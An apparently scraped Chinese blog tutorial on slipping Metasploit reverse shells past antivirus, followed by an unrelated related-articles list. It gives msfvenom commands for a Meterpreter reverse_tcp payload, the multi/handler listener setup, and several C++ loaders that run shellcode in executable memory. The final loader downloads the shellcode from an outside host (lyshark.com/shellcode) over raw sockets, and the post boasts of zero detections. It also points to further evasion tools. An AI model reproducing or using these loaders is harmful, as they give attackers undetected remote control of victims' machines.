反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中,会发生什么?事实证明这样做可以绕过大多数杀软的查杀。

虽然这种绕过方法并不是新鲜技术,但绕过反病毒软件对于大多数后门来说都是必要的,在这篇文章中,我们将使用virscan作为我们的检测工具,并使用Metasploit生成一些反向的ShellCode作为我们的攻击载荷。通过使用virscan云鉴定技术,可以衡量出Payload的是否免杀,但需要注意的是,只有动态检测或基于行为的检测,才能真正捕获到现实世界中的Payload。

首先我们使用 msfvenom 命令创建一个具有反向连接Shell的可执行文件,生成命令(Linux)如下:

  1. [root@localhost ~]# msfvenom p windows/meterpreter/reverse_tcp \
  2. > lhost=192.168.1.30 lport=8888 \
  3. > -f exe -o lyshark.exe

上方的代码就可以生成一个lyshark.exe的可执行文件,将此文件上传到VirusTotal,发现它会被大量反病毒引擎所查杀,这是正常的,因为它是一个常见的Payload,许多安全厂商都会针对Metasploit进行特征码的提取与查杀。

嵌入式 Shellcode

通过上方的方式生成后门文件是不可取的,因为大多数反病毒厂商都掌握了Metasploit可执行模板的签名,因此我们决定创建自己的可执行文件,然后手动实现 ShellCode的加载工作。我们再次使用 msfvenom 命令,但在这次只生成 ShellCode,而不是完整的可执行文件:

  1. [root@localhost ~]# msfvenom -a x86 --platform Windows \
  2. > -p windows/meterpreter/reverse_tcp \
  3. > -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 -f c

上方代码会生成一个Payload有效载荷,这里我们需要记下来,然后将ShellCode复制到一个单独的C++源文件中,然后编译生成一个可执行文件。

  1. #include <Windows.h>
  2. #include <stdio.h>
  3. using namespace std;
  4. int main(int argc,char **argv){
  5. char ShellCode[] = "\0x0x0x0x0x0x0x......"; // ShellCode 填充到这里。
  6. void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  7. memcpy(exec, ShellCode, sizeof ShellCode);
  8. ((void(*)())exec)();
  9. return 0;
  10. }

生成成功后,我们将攻击主机运行一个监听事件,然后打开生成后的后门,然后发现能够成功上线。

  1. [root@localhost ~]# msfconsole
  2. msf5 >
  3. msf5 > use exploit/multi/handler
  4. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  5. msf5 exploit(multi/handler) > set lhost 192.168.1.30
  6. msf5 exploit(multi/handler) > set lport 8888
  7. msf5 exploit(multi/handler) > exploit -j -z

但是这种方式也是会直接被检测到,原因是ShellCode已经被加入了特征,接下来我们将通过远程的方式加载ShellCode代码,让恶意代码与加载器分离。

远程加载 Shellcode

上方的扫描结果依然会报毒,原因就是ShellCode已经被捕捉了特征,这里我们将动态加载ShellCode。它不是使用已编写到二进制文件中的ShellCode编译可执行文件,而是在运行时动态获取ShellCode代码,并将其动态的加载到内存中执行,从而做到ShellCode与加载器的分离,减少误报的概率。

  1. #include <Windows.h>
  2. #include <iostream>
  3. #include <string>
  4. #include <cstring>
  5. #include <winhttp.h>
  6. #include <stdlib.h>
  7. #pragma comment(lib,"winhttp.lib")
  8. using namespace std;
  9. LPSTR get_shellcode(){
  10. return 0;
  11. }
  12. int main(int argc,char **argv){
  13. LPSTR hex_instructions = get_shellcode();
  14. const char* ShellCode = hex_instructions;
  15. int shellcode_length = strlen(ShellCode);
  16. unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
  17. for (size_t count = 0; count < shellcode_length / 2; count++){
  18. sscanf(ShellCode, "%2hhx", &value[count]);
  19. ShellCode += 2;
  20. }
  21. void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  22. memcpy(exec, value, shellcode_length /2 );
  23. ((void(*)())exec)();
  24. return 0;
  25. }

上方代码中创建了一个名为get_shellcode()函数,用于从另一台主机远程下载前面示例中使用的ShellCode。该函数使用winhttp库中的各种方法,通过HTTP的方式检索ShellCode。此外,当从远程位置以ASCII格式加载ShellCode时,需要执行额外步骤,要将指令转换为准备执行的原始二进制格式,这里的get_shellcode()并没有填充完整。

本次杀毒,你会发现误报全部消失了,因为在可执行文件中并没有恶意的ShellCode,并且也没有添加任何的下载函数,但如果添加了下载函数,此种方法生成的后门依然会存在误报。

替代文件下载功能

尽管我们已经分离除了程序中的 ShellCode代码,但有些杀毒软件仍然会报毒。为了获得0命中率,我们要思考,在这一过程遗漏了什么 ?

我们需要重新思考,首先要确定代码的哪个部分导致了告警。从直觉上,怀疑是函数 VirtualAlloc 和 memcpy 导致反病毒引擎认为该文件是可疑的,因为这些函数通常被用于内存注入。但是很多程序都会在内存中分配空间,所以这种猜测本身就是不正确的,实际上HTTP请求调用的函数可以获得远程托管的ShellCode,从而导致可疑的结果。通常我们会使用的函数是:

  1. WinHttpOpen
  2. WinHttpConnect
  3. WinHttpOpenRequest
  4. WinHttpSendRequest
  5. WinHttpReceiveResponse
  6. WinHttpQueryDataAvailable
  7. WinHttpReadData
  8. WinHttpCloseHandle

但是这些函数,很容易就被杀软盯上,但幸运的是,Windows 提供了许多不同的库,可用于下载数据,例如WinInet,WinHTTP和Windows套接字。通过切换到更加手动的基于套接字的实现 ,如果使用这些第三方库或使用系统自带的下载命令,则任何防病毒引擎都不再将下载代码标记为可疑。

  1. void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
  2. SOCKET connectToServer(char *szServerName, WORD portNum);
  3. int getHeaderLength(char *content);
  4. char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);

然后将其与先前演示的shellcode加载过程相结合。

  1. #include <windows.h>
  2. #include <string>
  3. #include <stdio.h>
  4. #include <iostream>
  5. #include <cstring>
  6. using std::string;
  7. #pragma comment(lib,"ws2_32.lib")
  8. HINSTANCE hInst;
  9. WSADATA wsaData;
  10. void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
  11. SOCKET connectToServer(char *szServerName, WORD portNum);
  12. int getHeaderLength(char *content);
  13. char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
  14. int main(){
  15. const int bufLen = 1024;
  16. char *szUrl = "lyshark.com/shellcode";
  17. long fileSize;
  18. char *memBuffer, *headerBuffer;
  19. FILE *fp;
  20. memBuffer = headerBuffer = NULL;
  21. if (WSAStartup(0x101, &wsaData) != 0){
  22. return -1;
  23. }
  24. memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
  25. if (fileSize != 0)
  26. {
  27. fp = fopen("down.file", "wb");
  28. fwrite(memBuffer, 1, fileSize, fp);
  29. fclose(fp);
  30. delete(headerBuffer);
  31. }
  32. int code_length = strlen(memBuffer);
  33. unsigned char* value = (unsigned char*)calloc(code_length / 2, sizeof(unsigned char));
  34. for (size_t count=0; count < code_length / 2; count++){
  35. sscanf(memBuffer, "%2hhx", &value[count]);
  36. memBuffer += 2;
  37. }
  38. void *exec = VirtualAlloc(0, code_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  39. memcpy(exec, value, code_length / 2);
  40. ((void(*)())exec)();
  41. WSACleanup();
  42. return 0;
  43. }

最终的有效负载成功地向侦听主机发送了反向shell,更重要的是,VirScan上的检测率为零,本文所采取的步骤,展示了如何通过一些简单的修改,来使Payload绕过杀软的查杀。然而,我们还可以选择许多其他选项,包括:

  1. 在已知合法的二进制文件中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
  2. 使用Veil(https://github.com/Veil-Framework/Veil)进行Payload的编码和加密。
  3. 使用其他语言,例如:PowerShell、Python、Ruby、C#、Java、Go等。

参考文献:https://countercept.com/blog/dynamic-shellcode-execution

动态加载 ShellCode绕过杀软的更多相关文章

  1. 反射01 Class类的使用、动态加载类、类类型说明、获取类的信息

    0 Java反射机制 反射(Reflection)是 Java 的高级特性之一,是框架实现的基础. 0.1 定义 Java 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对 ...

  2. Python内存加载shellcode

    生成 首先生成一个测试的msf shellcode msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使 ...

  3. 动态加载dll的实现+远线程注入

    1.在目标进程中申请内存 2.向目标进程内存中写入shellcode(没有特征,编码比较麻烦) 3.创建远线程执行shellcode 之前可以看到shellcode很难编写还要去依赖库,去字符串区等等 ...

  4. js动态加载css和js

    之前写了一个工具类点此链接里面含有这段代码,感觉用处挺多,特意提出来 var loadUtil = { /* * 方法说明:[动态加载js文件css文件] * 使用方法:loadUtil.loadjs ...

  5. geotrellis使用(二十三)动态加载时间序列数据

    目录 前言 实现方法 总结 一.前言        今天要介绍的绝对是华丽的干货.比如我们从互联网上下载到了一系列(每天或者月平均等)的MODIS数据,我们怎么能够对比同一区域不同时间的数据情况,采用 ...

  6. Ext JS 如何动态加载JavaScript创建窗体

    JavaScript不需要编译即可运行,这让JavaScript构建的应用程序可以变得很灵活.我们可以根据需要动态从服务器加载JavaScript脚本来创建和控制UI来与用户交互.下面结合Ext JS ...

  7. Ext动态加载Toolbar

    在使用Ext的GridPanel时候,有时候需要面板不用重新加载而去更新Store或者Toolbar,Store的方法有很多,例如官方api给我们提供的Store.load(),Store.reLoa ...

  8. Android动态加载框架汇总

    几种动态加载的比较 1.Tinker 用途:热修复 GitHub地址:https://github.com/Tencent/tinker/ 使用:http://www.jianshu.com/p/f6 ...

  9. 为不同分辨率单独做样式文件,在页面头部用js判断分辨率后动态加载定义好的样式文件

    为不同分辨率单独做样式文件,在页面头部用js判断分辨率后动态加载定义好的样式文件.样式文件命名格式如:forms[_屏幕宽度].css,样式文件中只需重新定义文本框和下拉框的宽度即可. 在包含的头文件 ...

随机推荐

  1. Connection to api@localhost failed. [08001] Could not create connection to d

    pycharm 换成2019之后连接数据库用户名密码数据库名字都没错,就是连接不上去,网上百度一下,试试将URL后面拼接 ?useSSL=false&serverTimezone=UTC 发现 ...

  2. web页面元素定位

    所有web网页中有8种元素定位方式 靠单一的特征找元素:6种(id,class_name,tag_name,name,link_text(2))组合各种特征和关系来找元素:2种(xpath,css) ...

  3. Django总结篇

    1.0 简述http协议和常用请求头 http协议: ( 基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)) HTTP协议是Hyper Text Transfer Pro ...

  4. 摘要 - Digest

    首先从md5说起,一般新进入开发行业最先接触的就是md5了,md5本质上是一个hash(谐音:哈希)算法,可以从一个大文件信息中提取出一小段信息,叫提取摘要,有的地方也有提取指纹这种说法,其实指纹这个 ...

  5. OAuth2实现原理

    现在开放平台非常流行,例如微信开放平台.微博开放平台等,开放平台都涉及用户授权问题,OAuth2就是目前的主流授权解决方案 OAuth2是什么 OAuth(Open Authorization,开放授 ...

  6. web API .net - .net core 对比学习-使用Swagger

    根据前两篇的介绍,我们知道.net web api 和 .net core web api在配置方面的不同如下: 1. .net web api的配置是在 App_Stat文件夹里面添加对应的配置类, ...

  7. 1+X证书学习日志——javascript打印九九乘法表(基础算法)

    /// 注意要给td加上宽高属性,不然就看不到啦 /// td{ width:100px; height:30px; border:1px solid red; }

  8. adb命令获取app布局文件xml

    adb shell /system/bin/uiautomator dump --compressed /data/local/tmp/uidump.xml adb pull /data/local/ ...

  9. docker入门一:docker安装(在线跟离线)

    一.在线安装 1.安装依赖 yum install -y yum-utils device-mapper-persistent-data lvm2 2.添加软件源 yum-config-manager ...

  10. There is no getter for property named 'PRODUCT_ID' in 'class java.lang.String'

    背景:心血来潮之际,准备搭建以下多月未曾碰触过的Mybatis框架,体验一番原生之美.殊不知能力有限,错误百出.特抒此文以纪念此坑.问题:想在sql管理中来统一处理一些简单的判断,但是添加判断之后参数 ...